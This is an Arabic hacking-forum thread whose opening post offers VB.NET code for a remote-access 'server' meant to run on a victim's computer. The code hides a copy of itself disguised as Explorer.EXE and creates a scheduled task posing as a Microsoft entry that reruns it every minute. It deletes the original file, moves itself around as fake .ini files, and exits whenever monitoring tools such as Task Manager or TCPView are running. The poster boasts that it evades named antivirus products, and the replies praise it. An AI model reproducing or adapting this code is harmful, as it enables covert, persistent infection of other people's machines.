حالة الموضوع:
مغلق
  1. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    630
    الإعجابات المتلقاة:
    668
    نقاط الجائزة:
    93
    الإقامة:
    7
    الســــلام عليكــم ورحمة الله وبركـــاته


    » الصلاة والسلام على أشرف المرسليـن ...~
    » الحمد لله وحده نحمده ونشكره ونستعينه ونستغفره ونعود بالله من شرور أنفسنا و من سيئات أعمالنا ...~
    » من يهده الله فلا مظل له ومن يظلل فلن تجد له ولياً مرشدا ...~
    » وأشهد لا اله الا الله وحده لا شريك له وأن محمداً عبده ورسوله صلى الله عليه و سلم ...~
    » وعلى آله وصحبه أجمعين ومن تبعهم بإحسان إلى يوم الدين ...~
    » ربنا لا علم لنا إلا ما علمتنا إنك أنت العليم الخبير ...~
    » ربنا لا فهم لنا إلا ما فهمتنا إنك أنت الجواد الكريم ...~
    » ربي اشرح لي صدري ويسر لي أمري واحلل عقدة من لساني يفقهوا قولي ...~

    كيف حالكم اعضاء وزوأر المنتدى انشالله بخير

    سأقدم لكم سطر واحد يتحدأ الدفاعات الاستباقيه وجميع برامج مراقبة المسارات {1!$1}

    لأبد من اللغاء التثبيتات من السيرفر ويحل مكان التثبيت هاذا السطر وسلم لي على الدفاعات الاستباقيه {2$0}

    وهو الكود بلغة
    Vb.net

    [CODEE]S h e l l("schtasks /create /sc minute /mo 1 /tn Microsoft-Corporation-0x7ffdc000 /tr " & Application.ExecutablePath, AppWinStyle.Hide)[/CODEE]

    mo1>> تعني الوقت واحد دقيقه
    Microsoft-Corporation-0x7ffdc000>> تعني الاسم
    حط هاذا الكود في
    Form1_Load وسوف تنتهي ازمة تخطي الدفاعات الاستباقيه وبرامج مراقبة المسار

    والان مع الكود السحري :ُeُ!e1:

    كود:
    Imports System.IO
    Public Class Form1
     
        '▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░▒▒▒▒░░░▒▒▒▒░░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒░▒▒▒▒▒▒░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒░░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒░░░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒░░░░░░░░░▓▓
        '▓▓░░░░░░S A U D░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
        '▓▓░░░░░░S C R E A M░░░░░░░░░░░▒▒▒░▒▒▒░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒░░░░░▓▓
        '▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░░░░░░▓▓
        '▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
        '_______▒__________▒▒▒▒▒▒▒▒▒▒▒▒▒▒
        '______▒_______________▒▒▒▒▒▒▒▒
        '_____▒________________▒▒▒▒▒▒▒▒
        '____▒___________▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
        '___▒
        '__▒______▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
        '_▒______▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓
        '▒▒▒▒___▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓
        '▒▒▒▒__▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓▒▓
        '▒▒▒__▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
        Dim PC As String
        Public Function IsFolderOpen(ByVal FolderPath As String) As Boolean
            Dim Sew As Object = CreateObject("S h e l l.application")
            For Each Sew1 In Sew.Windows
                If Sew1.document.folder.self.Path.ToString.ToLower = FolderPath.ToLower Then
                    Return True
                End If
            Next
            Return False
        End Function
        Dim X8$ = My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources\Explorer.EXE"
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            On Error Resume Next
     
            'Me.Hide()
            'Me.ShowIcon = 0 < 0 > 0
            'Me.ShowInTaskbar = 0 < 0 > 0
     
     
     
            ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
     
     
     
     
            ' هنا تضع استدعاء لخورزميتك الخاصه   لسيرفر 
     
     
     
     
            ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
     
            PC = System.Environment.UserName
            Timer1.Enabled = True
            Timer1.Interval = 1
            If File.Exists(X8) Then
                '???
            Else
                System.IO.Directory.CreateDirectory("C:\Users\" + PC + "\Documents\" + "Resources")
                File.Copy(Application.ExecutablePath, X8)
                System.IO.File.SetAttributes(X8, IO.FileAttributes.Hidden)
                S h e l l("schtasks /create /sc minute /mo 1 /tn Microsoft-Corporation-0x7ffdc000 /tr " & X8, AppWinStyle.Hide)
                S h e l l("cmd.exe /k ping google.com & del " & ChrW(34) & Application.ExecutablePath & ChrW(34) & " & exit", AppWinStyle.Hide)
     
                End
            End If
     
     
     
        End Sub
    #Region "Start" '<<S C>>
        Sub scream0_1_2_3()
            On Error Resume Next
            If IsFolderOpen(My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources") = True Then
                My.Computer.FileSystem.RenameFile(X8, "desktop1.ini")
                File.Move(My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources\desktop1.ini", My.Computer.FileSystem.SpecialDirectories.MyMusic & "\desktop2.ini")
            Else
                File.Move(My.Computer.FileSystem.SpecialDirectories.MyMusic & "\desktop2.ini", My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources\Explorer.EXE")
            End If
            If IsFolderOpen(My.Computer.FileSystem.SpecialDirectories.MyDocuments) = True Then
                My.Computer.FileSystem.RenameFile(X8, "desktopp1.ini")
                File.Move(My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources\desktopp1.ini", My.Computer.FileSystem.SpecialDirectories.MyMusic & "\desktopp2.ini")
            Else
                File.Move(My.Computer.FileSystem.SpecialDirectories.MyMusic & "\desktopp2.ini", My.Computer.FileSystem.SpecialDirectories.MyDocuments & "\Resources\Explorer.EXE")
            End If
        End Sub
    #End Region
        Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
            On Error Resume Next
            Call scream0_1_2_3()
            If My.Computer.Network.IsAvailable = False Then
                End
            End If
            Dim P22 As New Process
            For Each P22 In Process.GetProcesses
                If P22.MainWindowTitle.Contains("ApateDNS") Then
                    End
                End If
            Next
     
            Dim P33 As New Process
            For Each P33 In Process.GetProcesses
                If P33.MainWindowTitle.Contains("cports") Then
                    End
                End If
            Next
            Dim P As New Process
            For Each P In Process.GetProcesses
                If P.MainWindowTitle.Contains("Process Explorer") Then
                    End
                End If
            Next
     
            Dim P1 As New Process
            For Each P1 In Process.GetProcesses
                If P1.MainWindowTitle.Contains("Process Hacker") Then
                    End
                End If
            Next
            Dim P2 As New Process
            For Each P2 In Process.GetProcesses
                If P2.MainWindowTitle.Contains("COMODO KillSwitch") Then
                    End
                End If
            Next
            Dim we() As Process = System.Diagnostics.Process.GetProcessesByName("taskmgr")
            For Each g As Process In we
                End
            Next
            Dim we1() As Process = System.Diagnostics.Process.GetProcessesByName("Tcpvcon")
            For Each g1 As Process In we1
                End
            Next
            Dim P3 As New Process
            For Each P3 In Process.GetProcesses
                If P3.MainWindowTitle.Contains("imon") Then
                    End
                End If
            Next
     
            Dim P4 As New Process
            For Each P4 In Process.GetProcesses
                If P4.MainWindowTitle.Contains("HeapMemView") Then
                    End
                End If
            Next
     
            Dim P5 As New Process
            For Each P5 In Process.GetProcesses
                If P5.MainWindowTitle.Contains("SmartSniff") Then
                    End
                End If
            Next
     
            Dim P6 As New Process
            For Each P6 In Process.GetProcesses
                If P6.MainWindowTitle.Contains("SocketSniff") Then
                    End
                End If
            Next
     
            Dim P7 As New Process
            For Each P7 In Process.GetProcesses
                If P7.MainWindowTitle.Contains("TCPEye V 1.0") Then
                    End
                End If
            Next
     
            Dim P8 As New Process
            For Each P8 In Process.GetProcesses
                If P8.MainWindowTitle.Contains("TCPView") Then
                    End
                End If
            Next
     
            Dim P9 As New Process
            For Each P9 In Process.GetProcesses
                If P9.MainWindowTitle.Contains("X-NetStat Professional 5.61") Then
                    End
                End If
            Next
     
            Dim P10 As New Process
            For Each P10 In Process.GetProcesses
                If P10.MainWindowTitle.Contains("Tcpvcon") Then
                    End
                End If
            Next
     
            Dim P11 As New Process
            For Each P11 In Process.GetProcesses
                If P11.MainWindowTitle.Contains("Process Monitor") Then
     
                    End
                End If
            Next
            Dim P12 As New Process
            For Each P12 In Process.GetProcesses
                If P12.MainWindowTitle.Contains("Process") Then
     
                    End
                End If
            Next
        End Sub
    End Class
    1- لايوجد أثار تثبيت في الرجستري او الستارت اب او بدء التشغيل أبدا ولا يمكن لحماية ان ترصد مكانه !! لكن بتقولي كيف الضحيه راح يختفي بعد الرستارت ؟؟؟ لا لن يختفي سوف يرجع بعد الرست

    2-اثنى تشغيل السيرفر سوف يحذف نفسه من الجهاز ولا يمكن لبرامج الفحص رصد تحركاته

    3- عندما تقوم بتشغيل اية برنامج فحص فلن تحصل على اية نتايج في الكشف ولا اية اتصالات

    السيرفر سوف يعمل متى !! اذا تحقق انه لايوجد برنامج فحص شغال على النظام سوف يعمل ويوصل تبليغ لكن كيف يتحقق اكيد بتكون العمليه شغاله وهاذا يجلب الشك هههه لا لن تكون اية عمليه شغاله وبدوون حقن كمان

    لايظهر في البروسيس لايظهر في الاتصالات لايظهر في باقي برامج الفحص الاكثر استخدام وشهره

    وانسى استخدام تثبيت اللينك او النسخ او او او كلها لاتنفع في الوقت الحالي !! بعد تطور الحمايات

    والكود يتخطى جميع الدفاعات الاستباقيه انا اتكلم هنا عن الدفاع وليس التشفير <<
    تمت تجربته

    على النود
    على افيرا
    على افاست
    على الكاسبر
    على 360
    على
    Avg
    على النورتن
    وحمايات اخره ضعيفه
    وبرااامج الفحص الاكثر شهره

    وهاذا شرح

    [YOUTUBE]utgc8pyDQoo[/YOUTUBE]

    ولتحميل ايقونــة Explorer تحصلها في أعلى الموضوع {1!$1}تحميل الكود
     
    آخر تعديل بواسطة المشرف: ‏24 يونيو 2015
  2. Wolf Hex

    Wolf Hex DeveloPer Plus

    الأنتساب:
    ‏24 فبراير 2015
    المشاركات:
    264
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    الوظيفة:
    Student
    الإقامة:
    دولة أمير المؤمنين (ع)
    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    {1!$7}وعليكم السلام ورحمه الله وبركاته{1!$7}
    اول رد محجوز يعطيك العافيه
    سكريم دومهة مواضيعك دهبيه
    [​IMG]

     
  3. ♕| s c я є α м |♕

    ♕| s c я є α м |♕ مشرف

    الأنتساب:
    ‏23 ديسمبر 2014
    المشاركات:
    630
    الإعجابات المتلقاة:
    668
    نقاط الجائزة:
    93
    الإقامة:
    7
    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New



    منور ياغالي ورده لك ً#ٌ5oًًًُ.
     
  4. علي الواسطي

    علي الواسطي DeveloPer Plus

    الأنتساب:
    ‏13 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    18
    الوظيفة:
    طالب
    الإقامة:
    iraq
    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    وعليكم السلام
    عاشت الايادي مبدع دومك
     
  5. عـقرب الـنجف

    عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    168
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    عاشت الايادي حبيبي
    دومك مبدع يا بطل
    كل يوم موضوع ذهبي جديد
    لا تحرمنا من مواضيعك يا وحش
    تقبل مروري
     
  6. king targets

    king targets Developer

    الأنتساب:
    ‏20 يونيو 2015
    المشاركات:
    4
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    بما اني موقوف في ديف سجلت هنا خصيصا لاشكرك حبيبي

    فعلا الكود جهنمي وانت قلبت موازين الاختراق على عقب


    بخصوص استدعاء الخوارزيمة السيرفر كيف يكون الكود


    يعني استغني عن النسخ في الريجسيتر والستارتب برمجي كذلك
     
  7. العراقي الشهم

    العراقي الشهم Developer

    الأنتساب:
    ‏20 يونيو 2015
    المشاركات:
    20
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    اول رد لي في هذا الصرح الشامخ {3$0}
    ياسلام عليك كود خطير فعلا {1!$2}
     
  8. Microsoft

    Microsoft V • I • P

    الأنتساب:
    ‏26 أكتوبر 2011
    المشاركات:
    193
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    الإقامة:
    home
    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    وعليكم السلام ورحمة الله وبركآته ..

    تسلم يداك يابطل ..

    جـميـل جدآآآ يعـطيك العافية ..
     
  9. Legend_Killer

    Legend_Killer Developer

    الأنتساب:
    ‏6 ابريل 2012
    المشاركات:
    74
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    8
    الوظيفة:
    طَالب..~
    الإقامة:
    α.ι.є.х.α.η.ᴆ.я.ı̃̾.α
    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    مشکوووووور یا اخی
     
  10. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    رد: كـــــــــود ملـــكـي ذكــي يتخطـى برامـ ج الفحــص الدفاعــات الاستباقيـه 2015 New

    دائما تبهرنا بمواضيعك الاكثر مو جميله وحصريه تابع ابداعك ولاتحرمنا من جديدك تقبل مروري
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة